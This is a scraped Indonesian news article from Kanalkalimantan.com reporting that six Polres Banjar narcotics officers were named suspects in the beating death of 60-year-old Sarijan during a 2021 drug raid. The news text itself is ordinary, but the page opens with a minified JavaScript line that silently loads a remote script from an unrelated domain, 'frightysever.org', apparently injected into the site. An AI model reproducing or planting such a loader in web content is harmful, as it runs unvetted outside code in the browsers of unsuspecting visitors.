(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Kematian Kakek Sarijan, 6 Anggota Satresnarkoba Polres Banjar Ditetapkan Tersangka!


KANALKALIMANTAN.COM, BANJARMASIN – Buntut dugaan penganiayaan oleh enam anggota Satresnarkoba Polres Banjar hingga tewasnya Sarijan (60) saat penggerebekan kasus narkoba di Desa Tatah Pemangkih, Kecamatan Kertak Hanyar, Kabupaten Banjar, Polda Kalsel menetapkan mereka sebagai tersangka.

Penetapan keenam tersangka anggota Satresnarkoba Polres Banjar tersebut disampaikan Kabid Humas Polda Kalimantan Selatan Kombes Pol Moch Rifa’i, Senin (22/8/2022).

“Iya benar. Keenamnya sudah ditetapkan sebagai tersangka dalam kasus tersebut,” katanya kepada awak media.

Penetapan tersangka tersebut berdasarkan hasil penyelidikan dari outopsi yang telah dilakukan sebelumnya pada tanggal 15 Juni 2022.

 

Baca juga : 24 Parpol Dinyatakan Lolos, Verifikasi Lanjutan di Kabupaten/Kota Masih Berlangsung

“Memang diketahui hasil outopsi menyebabkan meninggalnya tersangka maupun korban Sarijan meninggal karena benda keras,” kata Kombes Rifa’i.

Sebagaimana diketahui, Sarijan digerebek oleh tim Satresnarkoba Polres Banjar pada Kamis (29/12/2021) di rumahnya di Desa Tatah Pamangkih, Kabupaten Banjar. Istri Sarijan mengatakan saat penggerebekan saat itu suaminya sedang melaksanakan shalat

“Suamiku lagi shalat saat itu, dan pada saat pintu didobrak kami mendengar tembakan peringatan,” kata J, istri Sarijan.

J sebelumnya juga mengatakan suaminya tidak melakukan perlawanan saat ditangkap dan dirinya menyaksikan suaminya dipukuli sampai wajahnya berdarah dan luka-luka.

Baca juga: WASPADA. Kasus Pertama Cacar Monyet di Indonesia, Kenali Gejala dan Terapkan PHBS

Keenam anggota Satresnarkoba Polres Banjar tersebut dijerat pasal 338 KUHP tentang pembunuhan diancam dengan pidana penjara paling lama 15 tahun, atau pasal 351 ayat (3) dengan ancaman penjara 7 tahun atau pasal 170 KUHP dengan ancaman paling lama 12 tahun penjara.

Selain itu keenam anggota polisi yang terbukti melakukan penganiayaan hingga menyebabkan meninggal dunia tersebut juga terancam akan dikenakan sanksi kode etik. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.